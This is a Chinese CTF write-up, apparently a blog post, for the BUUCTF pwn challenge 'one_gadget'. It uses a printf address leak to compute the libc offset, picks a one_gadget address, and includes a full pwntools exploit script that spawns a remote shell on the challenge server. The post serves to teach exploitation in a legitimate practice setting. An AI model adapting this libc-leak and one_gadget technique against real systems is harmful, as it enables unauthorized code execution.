zoukankan      html  css  js  c++  java
  • [BUUCTF]PWN15——[BJDCTF 2nd]one_gadget

    [BUUCTF]PWN15——[BJDCTF 2nd]one_gadget

    附件

    步骤:
    例行检查,64位,保护全开
    在这里插入图片描述
    nc试运行一下程序,看看情况,它一开始给了我们一个地址,然后让我们输入one gadget的地址
    在这里插入图片描述
    64位ida载入,shift+f12查看字符串,根据nc看到的字符串,找到关键函数
    在这里插入图片描述
    在这里插入图片描述
    题目一开始输出的是printf函数的地址,题目一开始给了libc,知道了它的内存地址,就能够算出程序的偏移量了

    print_addr=0x7fbe7e114830
    offset=print_addr-libc.symbols['printf']
    print offset
    

    在这里插入图片描述
    接下来我们找一下one gadget的地址

     one_gadget  libc-2.29.so 
    

    在这里插入图片描述
    这边有4个one_gadget可以让我们利用,但是要满足寄存器的条件才能获取shell,会看汇编的可以去看一下哪个满足条件,不会的一个一个试一下(我就属于一个一个试的)

    完整 EXP

    from pwn import*
    
    r=remote('node3.buuoj.cn',26120)
    elf=ELF('onegadget')
    libc=ELF('./libc-2.29.so')
    
    r.recvuntil('0x')
    print_addr=int(r.recvn(12),16)
    
    offset=print_addr-libc.symbols['printf']
    
    print offset
    
    one_gadget=[0xe237f,0xe2383,0xe2386,0x106ef8]
    shell=offset+one_gadget[3]
    r.recvuntil('Give me your one gadget:')
    r.sendline(str(shell))
    
    r.interactive()
    
  • 相关阅读:
    优化MySchool数据库(存储过程)
    优化MySchool数据库(事务、视图、索引)
    优化MySchool数据库(四)
    优化MySchool数据库(三)
    SQLAchemy
    python操作mysql
    python队列
    零碎知识
    super深究
    Python操作RabbitMQ
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273719.html
Copyright © 2011-2022 走看看